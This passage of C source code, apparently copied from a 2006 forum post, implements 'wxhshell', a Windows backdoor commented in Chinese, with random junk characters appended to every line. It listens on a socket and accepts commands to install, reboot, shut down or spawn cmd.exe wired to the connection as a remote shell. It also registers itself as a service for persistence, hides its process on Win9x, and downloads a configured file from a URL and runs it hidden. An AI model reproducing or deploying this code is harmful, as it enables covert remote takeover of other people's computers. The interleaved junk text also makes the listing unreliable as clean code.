  else { (^LR9 CW  
Y j*Y*LB~  
    switch(cmd[0]) { v^(J+d_>   
  z]=jer  
  // 帮助 =}YaV@g<f  
  case '?': { &,iPI2`O A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EL1*@  
    break; o\:vxj+%*  
  } f5hf<R),A  
  // 安装 j9$kaEf  
  case 'i': { 8jU6N*p/  
    if(Install()) 2p8}6y:}7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,M$ J yda  
    else 5*r5?ne  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lX%e  
    break; {#}?-X  
    } S)G*+)  
  // 卸载 <+e&E9;>6  
  case 'r': { q|N4d9/b  
    if(Uninstall()) ,PZ[CX;H@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]gB:ht  
    else q%8Ck)xz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pxe7 \e  
    break; LkUi^1((e  
    } qwHP8GU  
  // 显示 wxhshell 所在路径 [35>T3Ku  
  case 'p': { 'V(9ein^Q  
    char svExeFile[MAX_PATH]; xs$ -^FnD  
    strcpy(svExeFile,"\n\r"); 5q{ -RJ  
      strcat(svExeFile,ExeFile); ~`o%Y"p%rv  
        send(wsh,svExeFile,strlen(svExeFile),0); uZ(,7>0  
    break; t-$Hti7Lk  
    } lhduK4u  
  // 重启 qre(3,VE5  
  case 'b': { }n$I #G}\/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); khfWU  
    if(Boot(REBOOT)) oD~q/04!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F48W8'un  
    else { PZO8< d  
    closesocket(wsh); a #Pr)H  
    ExitThread(0); o.KE=zp&z  
    } m[6c{$A/w  
    break; ='\E+*[$I  
    } y_N h5  
  // 关机 PW GN UNc  
  case 'd': {  '' Pfs<!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?/^x)Nm  
    if(Boot(SHUTDOWN)) CGJ>j}C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tlz~o[`&  
    else { r>x>aJ  
    closesocket(wsh); be:=-B7!  
    ExitThread(0); )dZ1$MC[  
    } 3C(V<R?  
    break; SoL"M[O  
    } {xJ<)^fD8  
  // 获取shell uPBtR  
  case 's': { =U+_;;F=  
    CmdShell(wsh); k2ZMDU  
    closesocket(wsh); 2, r{zJ8  
    ExitThread(0); vy1N, 8a  
    break; R#Hz%/:|A  
  } TWT h!  
  // 退出 P_%kYcX'  
  case 'x': { rZ^VKO`~I1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^<QF* !  
    CloseIt(wsh); Q DJe:\n  
    break; .[>UkM0  
    } >'2=3L^Q  
  // 离开 7DCu#Y[  
  case 'q': { WS1$cAD2N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x$/: %"E  
    closesocket(wsh); k{w  
    WSACleanup(); 3[}w#n1  
    exit(1); V.Qy4u7m  
    break; Xo~kB)|,  
        } pQ9~^  
  } ^fxS=Qs+  
  } X(fT[A_2C  
_"'0^F$I  
  // 提示信息 C&-]RffA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cy'! >  
} G.sf>.[  
  } RL~]mI!U  
6SN$El 0|G  
  return; x] j&Knli  
} LCkaSv/[RB  
\s">trXwX  
// shell模块句柄 W#lt_2!j  
int CmdShell(SOCKET sock) fW8whN  
{ <-Q0s%mNj,  
STARTUPINFO si; [gxH,=Pb  
ZeroMemory(&si,sizeof(si)); N"&qy3F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kzf^ras4u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '"fZGz?  
PROCESS_INFORMATION ProcessInfo; D}A>`6W<  
char cmdline[]="cmd"; rwvCp_pN.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >'|Wrz67Z  
  return 0; Nkg^;-CV0  
} z2cd1HxN  
%8~g#Z  
// 自身启动模式 mM)d`br  
int StartFromService(void) YKG}4{T  
{ [pYjH+<  
typedef struct px=r~8M9}  
{ %6HJM| {H  
  DWORD ExitStatus; k9 NPC"  
  DWORD PebBaseAddress; g RBbL1  
  DWORD AffinityMask; F=r`'\JV[  
  DWORD BasePriority; zTS#o#`!\  
  ULONG UniqueProcessId; 6`U]%qx_I  
  ULONG InheritedFromUniqueProcessId; vD p|9VY?  
}   PROCESS_BASIC_INFORMATION; /dq(Z"O_  
b 3i34,  
PROCNTQSIP NtQueryInformationProcess; #>\%7b59>  
T@\%h8@~]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I18<brZJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tA]Y=U+Q  
])iw|`@dJ  
  HANDLE             hProcess; ;}E$>]*Yn  
  PROCESS_BASIC_INFORMATION pbi; UJhUb)}^  
'NDDj0Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 31=v US  
  if(NULL == hInst ) return 0; _&|<(m&."  
%r >Y)@$Vt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X8212[7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]d -U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mv\S1[<T  
9  7Mi{Zz  
  if (!NtQueryInformationProcess) return 0; 1JWo~E'  
^P}c0}^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NG?-dkD  
  if(!hProcess) return 0; bbxo!K m"  
J\c\Ar :  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gzeTBlXg  
Lm"zW>v  
  CloseHandle(hProcess); C}8 3t~Q  
*zTEK:+_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {axMS yp;  
if(hProcess==NULL) return 0; G+zIh}9  
FCA]zR1  
HMODULE hMod; gL}x| Q2`  
char procName[255]; }Z3+z@L  
unsigned long cbNeeded; *#g[ jl4  
Ft^+P*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pIP ^/H  
N@G~+GCxL  
  CloseHandle(hProcess); &JHqUVs^  
ypV>*  
if(strstr(procName,"services")) return 1; // 以服务启动 '7(oCab"_  
*nc9 u"  
  return 0; // 注册表启动 $KMxq=  
} 8lfKlXR78  
2(iv+<t  
// 主模块 u RPvo}!=1  
int StartWxhshell(LPSTR lpCmdLine) %% A==_b  
{ a<d$P*I(cH  
  SOCKET wsl; u[~= a 5:4  
BOOL val=TRUE; jpRC6b?  
  int port=0; 6qH^&O][  
  struct sockaddr_in door; d gRTV<vM  
o=ULo &9  
  if(wscfg.ws_autoins) Install(); P[<EFj E  
&&K"3"um  
port=atoi(lpCmdLine); SvN2}]Kh  
gq[`g=x  
if(port<=0) port=wscfg.ws_port; nHTb~t5Ke  
0o &B 7N  
  WSADATA data; \>nY%*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yi@mf$A|  
 TDR2){I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (Q~ (t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6*tbil_G+  
  door.sin_family = AF_INET; &=`6- J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,J ZM%f  
  door.sin_port = htons(port); 2X!!RS>qg  
I^itlQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BOf)27)  
closesocket(wsl); #) bqn|0l  
return 1; fOkB|E]  
} +3%i7  
)*T <s  
  if(listen(wsl,2) == INVALID_SOCKET) { /o]j  
closesocket(wsl); Jl|^  
return 1; TB(!*t  
} $3D#U^7i  
  Wxhshell(wsl); f%cbBx^;  
  WSACleanup(); IM9P5?kJ ?  
SlojB^%  
return 0; V^5Z9!  
w;(B4^?  
} kV:C=MLI  
5KvqZ1L  
// 以NT服务方式启动 2z615?2_U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #uillSV  
{ DY6ra% T  
DWORD   status = 0; 11jDAA(|  
  DWORD   specificError = 0xfffffff; \(a!U,]LM  
tFKR~?Gc  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  &j_:VP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #7yy7Y5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SE<hZLd"  
  serviceStatus.dwWin32ExitCode     = 0; ("-`Y'"K  
  serviceStatus.dwServiceSpecificExitCode = 0; 9o|#R&0  
  serviceStatus.dwCheckPoint       = 0; QQIU5  
  serviceStatus.dwWaitHint       = 0; :dkBr@u96O  
k>mqKzT0$+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CKgbb4;<m[  
  if (hServiceStatusHandle==0) return; -|x YT+?%  
OJ2I (8P  
status = GetLastError(); IQA<xqX   
  if (status!=NO_ERROR) ;$>wuc'L  
{ ;_<K>r*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gP 6`q  
    serviceStatus.dwCheckPoint       = 0; c0M>CaKD  
    serviceStatus.dwWaitHint       = 0; J0a#QvX!  
    serviceStatus.dwWin32ExitCode     = status; z(dX<  
    serviceStatus.dwServiceSpecificExitCode = specificError; Zk#?.z}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >HlQ+bl$xw  
    return; v'W`\MKY)  
  } [*|QA 9  
$dgez#TPL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .?CumaU  
  serviceStatus.dwCheckPoint       = 0; ps=+wg?]  
  serviceStatus.dwWaitHint       = 0; 6h_OxO&!U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H G)c\b  
} EU@XLm6  
I'%(f@u~  
// 处理NT服务事件,比如:启动、停止 LJII7<k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |`i.8  
{ :U$U:e  
switch(fdwControl) Vj{}cL"MR  
{ 6q]`??g.  
case SERVICE_CONTROL_STOP: $bv l.c  
  serviceStatus.dwWin32ExitCode = 0; ~PAbtY9}U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZUxlk+o9d  
  serviceStatus.dwCheckPoint   = 0; !ii'hwFm$  
  serviceStatus.dwWaitHint     = 0; oHI/tS4 _  
  { ]p sx\ZMa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e:H9!  
  } SuU %x2  
  return; b$Ch2Qz0q  
case SERVICE_CONTROL_PAUSE: 8NS1*\z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v'zj<|2  
  break; 2E X Rq  
case SERVICE_CONTROL_CONTINUE: 6 SosVE>Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q|fZdTw  
  break; !NfN16  
case SERVICE_CONTROL_INTERROGATE: Rf .b_Y@O  
  break; qn4jy6  
}; +m8gS;'R4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N>J"^GX  
} ~0~f  
OK"B`*  
// 标准应用程序主函数 6}E C)j;Fw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >HH49 cCo  
{ 4;hgi[  
sXaIQhZ  
// 获取操作系统版本 rtM!|apr  
OsIsNt=GetOsVer(); zxr|:KC ?&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YN@ 4.&RP  
wWNHZ v&  
  // 从命令行安装 |,wp@)e6h  
  if(strpbrk(lpCmdLine,"iI")) Install(); vHz]-Q-|9  
m+m,0Ey5H  
  // 下载执行文件 A/4HR]  
if(wscfg.ws_downexe) { P,[O32i#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1TvR-.e  
  WinExec(wscfg.ws_filenam,SW_HIDE); B "z`X!\  
} [Nn ?:5"  
Cp@' k;(  
if(!OsIsNt) { ?]# U~M<'  
// 如果时win9x,隐藏进程并且设置为注册表启动 Aj;F$(su  
HideProc(); G`HL^/Z*  
StartWxhshell(lpCmdLine); _@47h86 Q  
} $"/xi `  
else 4mY(*2:HC  
  if(StartFromService()) 1L=6Z2*fB4  
  // 以服务方式启动 UHEn+Tc>  
  StartServiceCtrlDispatcher(DispatchTable); r6Hdp  
else S^Z[w|1  
  // 普通方式启动 0` {6~p  
  StartWxhshell(lpCmdLine); F9Ag687w  
9w=GB?/  
return 0; R""P01IZH  
}
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只看该作者 1 发表于: 2006-10-10
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